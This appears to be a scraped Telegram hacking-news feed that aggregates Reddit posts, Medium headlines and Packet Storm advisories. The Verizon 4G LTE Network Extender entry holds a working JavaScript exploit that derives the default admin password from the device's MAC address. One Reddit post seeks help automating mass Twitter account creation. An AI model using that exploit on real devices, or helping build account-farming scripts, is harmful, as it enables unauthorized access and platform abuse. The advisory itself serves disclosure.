Hacking on Medium
What is “Openbullet” and how do cybercriminals abuse it to steal millions of accounts daily?

https://cdn-images-1.medium.com/max/600/1*n8XnYpKJIr2XhvEU095FRQ.png
Credential Stuffing and Openbullet. What are they?

Continue reading on HackerHub »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Melody - A Transparent Internet Sensor Built For Threat Intelligence

___________________________
@hacking_Attack
@Hacking_Video

Coercing NTLM Authentication from SCCM
https://www.reddit.com/r/redteamsec/comments/u2tgub/coercing_ntlm_authentication_from_sccm/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a) [comments] (https://www.reddit.com/r/redteamsec/comments/u2tgub/coercing_ntlm_authentication_from_sccm/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Wifi password algorithm - PBKDF location

I'm writing a security analysis article and I'm trying to reproduce the results given here in https://www.usenix.org/system/files/conference/woot15/woot15-paper-lorente.pdf with candidate firmware https://www.mediafire.com/file/sda5rzxqmfs5gh9/upfr.zip/file . Till now, I'm unable to locate the PBKDF algorithm location in the firmware. Can anybody help me with this? Pm me for further information. The firmware is an outdated version and not in use now at all.

submitted by /u/ProcedureDelicious95
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Old Hack The Planet Website

Trying to find out what happened to a website/forum I used to frequent in the early 2010s called 'Hack the Planet'. It was basically a set of puzzles and challenges related to 'hacking' aka basic html stuff, that would get progressivley harder and were a way to get people to get more involved.

I used to fuck around there when I was younger and I thought I'd look it up, but I can't find anything about it. Maybe y'all know something about it.

Apologies if it's too off topic.

submitted by /u/AntonioG-S
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Couldn't Find how two cookies are being set on twitter

So keeping it real I'm trying to create a twitter account creater script using python

First I thought of making it with requests lib but wasn't successful as I couldn't figure out how x-csrf-token is being set On twitter x-csrf-token can be found in cookies stored as ct0

There's this preflight request being made with activate.json on first time there isn't any token in but it's actually setting up "Access-Response-Headers" On second time when it's being called you can find csrf token in it and it's also saved in cookies.

And similar issues popped up when I tried doing it with requests

So i opted to selenium. At first I was able to create an account or 2 by automating it... But it's really time consuming and not worth it. And doesn't satisfy my initial goal which is to make it using requests not selenium.

Anyone willing to help?

submitted by /u/h4ck3r_x
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Spring4Shell Code Execution

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Python exploit for CVE-2022-22965 that provides a prompt to the user in the style of an ssh session. The script is designed to be easy to understand and execute, with both readability and accessibility - depending on the user's choice. Designed for exploiting the vulnerability on tomcat servers. The fileDateFormat field on the server will be set and unset as part of the script which allows the exploit to be run multiple times. Cleanup may be required. It leverages a vulnerability found in the java spring framework before version 5.2, as well as in versions 5.3.0-17 an d 5.2.0-19 and running on a version of the Java Development Kit greater than or equal to 9.

MD5 | e7a290b05afa996043b9cfc38a121fcb

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Social Hunter
https://medium.com/@reconshell.com/social-hunter-f9748e360859?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…Continue reading on Medium » (https://medium.com/@reconshell.com/social-hunter-f9748e360859?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
Verizon's 4G LTE Network Extender is utilizing a weak default admin password generation algorithm. The password is generated using the last 4 values from device's MAC address which is disclosed on the main webUI login page to an unauthenticated attacker. The values are then concatenated with the string LTEFemto resulting in something like LTEFemtoD080 as the default Admin password. Versions GA4.38 through 0.4.038.2131 are affected.

MD5 | defda71595d58bb3b899ae80b3a351c1

Download

Verizon 4G LTE Network Extender Weak Credentials Algorithm
Vendor: Verizon Communications Inc.
Product web page: https://www.verizon.com
Affected version: GA4.38 - V0.4.038.2131

Summary: An LTE Network Extender enhances your indoor and 4G
LTE data and voice coverage to provide better service for your
4G LTE mobile devices. It's an extension of our 4G LTE network
that's placed directly in your home or office. The LTE Network
Extender works with all Verizon-sold 4G LTE mobile devices for
4G LTE data service and HD Voice-capable 4G LTE devices for voice
service. This easy-to-install device operates like a miniature
cell tower that plugs into your existing high-speed broadband
connection to communicate with the Verizon wireless network.

Desc: Verizon's 4G LTE Network Extender is utilising a weak
default admin password generation algorithm. The password is
generated using the last 4 values from device's MAC address
which is disclosed on the main webUI login page to an unauthenticated
attacker. The values are then concatenated with the string
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
default Admin password.

Tested on: lighttpd-web
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5701
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
17.02.2022

--
snippet:///Exploit
//
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
//

console.log("Calling 'isDefaultPassword' API");
let req = new Request("/webapi/isDefaultPassword");
let def = req.url;

const doAjax = async () => {
const resp = await fetch(def);
if (resp.ok) {
const jsonyo = await resp.json();
return Promise.resolve(jsonyo);
} else {
return Promise.reject("Smth not rite captain!");
}
}
doAjax().then(console.log).catch(console.log);

await new Promise(t => setTimeout(t, 1337));

console.log("Verizon Admin Password: ");
let mac = document.querySelector("#mac_address").innerHTML;
console.log("LTEFemto" + mac.substr(-4));

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Identifying a Vulnerability in the SAP Software Supply Chain

Make sure you're using the patch to block this supply chain attack.

Rules of Engagement for Pentesters
https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/

Hello Everyone, I am a Lawyer and recently a Client asked me to draw up rules of engagement for Pentesters that will be working on the projects posted on his Platform.
I don't know much about the space, therefore, was looking to get some insights from the Community. As to what rules the Pentesters have to abide by when performing their functions. P.S. I have done my research and went through the HackerOne Rules of Engagement for Pentesters, while the same was not available on other websites like Cobalt.io (https://cobalt.io/) or Bugcrowd.
Any insights or documents that you could lead me to would be of great help. Cheers. submitted by /u/Park-Beginning (https://www.reddit.com/user/Park-Beginning)
[link] (https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/) [comments] (https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/)

___________________________
@hacking_Attack
@Hacking_Video

Social Hunter

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…Continue reading on Medium »
Read more...

Hacking on Medium
Microsoft emite parches para 2 Windows Zero-Days y 126 otras vulnerabilidades

https://cdn-images-1.medium.com/max/972/0*H4B8L36R4RsnV42O
PUBLICADO EN 13 ABRIL, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is “Telegram” and why is it one of the primary hubs for Cybercriminals?

https://cdn-images-1.medium.com/max/1024/1*1f4-WQP8F9p97KdsESTEkQ.png
Telegram and how Cybercriminals use it to their advantage.

Continue reading on HackerHub »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Couple Hacking Powerpoint using VBscript

https://cdn-images-1.medium.com/max/605/1*pxwoc5ksfPBVntbjOlPiVw.jpeg
This article has an interesting couple story, my wife who usually don’t take any serious interest in my office work ( I don’t blame her…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What just happened to Ferdi? Major hack? Are our credentials safe?

The Ferdi services are down, their Twitter is gone, the GitHub Repo is gone!

Their website redirects to RamBox, a competitor.

What is happening? Are our credentials safe???

submitted by /u/canarocan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video